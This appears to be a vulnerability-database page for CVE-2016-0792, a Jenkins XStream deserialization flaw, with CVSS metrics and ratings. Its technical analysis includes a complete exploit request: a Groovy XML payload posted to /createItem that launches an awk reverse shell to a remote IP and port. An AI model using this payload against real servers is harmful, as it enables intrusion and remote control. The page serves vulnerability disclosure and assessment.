Attacker Value
Very High
(1 user assessed)
Exploitability
Moderate
(1 user assessed)
User Interaction
None
Privileges Required
Low
Attack Vector
Network
1

CVE-2016-0792

Disclosure Date: April 07, 2016 •
CVE-2016-0792 CVSS v3 Base Score: 8.8
Add MITRE ATT&CK tactics and techniques that apply to this CVE.

Description

Multiple unspecified API endpoints in Jenkins before 1.650 and LTS before 1.642.2 allow remote authenticated users to execute arbitrary code via serialized data in an XML file, related to XStream and groovy.util.Expando.

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1
Ratings
  • Attacker Value
    Very High
  • Exploitability
    Medium
Vulnerable in default configurationAuthenticated
Technical Analysis

It’s easy to get RCE with a Groovy payload. Your code will be executed even if you receive an HTTP 500 error.

Example of request / payload:

POST /createItem?name=example HTTP/1.1
Host: example.org
Content-Length: 689
Content-Type: application/xml;
Accept: text/javascript, text/html, application/xml, text/xml, */*
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

<map>
  <entry>
    <groovy.util.Expando>
      <expandoProperties>
        <entry>
          <string>hashCode</string>
          <org.codehaus.groovy.runtime.MethodClosure>
            <delegate class="groovy.util.Expando"/>
            <owner class="java.lang.ProcessBuilder">
              <command>
                <string>awk</string>
                <string>'BEGIN {s = "/inet/tcp/0/192.168.1.14/9999"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}'</string>
                <string>/dev/null</string>
              </command>
            </owner>
            <method>start</method>
          </org.codehaus.groovy.runtime.MethodClosure>
        </entry>
      </expandoProperties>
    </groovy.util.Expando>
    <int>1</int>
  </entry>
</map>
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CVSS V3 Severity and Metrics
Base Score:
8.8 High
Impact Score:
5.9
Exploitability Score:
2.8
Vector:
CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Attack Vector (AV):
Network
Attack Complexity (AC):
Low
Privileges Required (PR):
Low
User Interaction (UI):
None
Scope (S):
Unchanged
Confidentiality (C):
High
Integrity (I):
High
Availability (A):
High

General Information

Offensive Application
Unknown
Utility Class
Unknown
Ports
Unknown
OS
Unknown
Vulnerable Versions
n/a
Prerequisites
Unknown
Discovered By
Unknown
PoC Author
Unknown
Metasploit Module
exploit/multi/http/jenkins_xstream_deserialize
Reporter
Unknown

Vendors

  • jenkins,
  • redhat

Products

  • jenkins,
  • openshift 3.1
Technical Analysis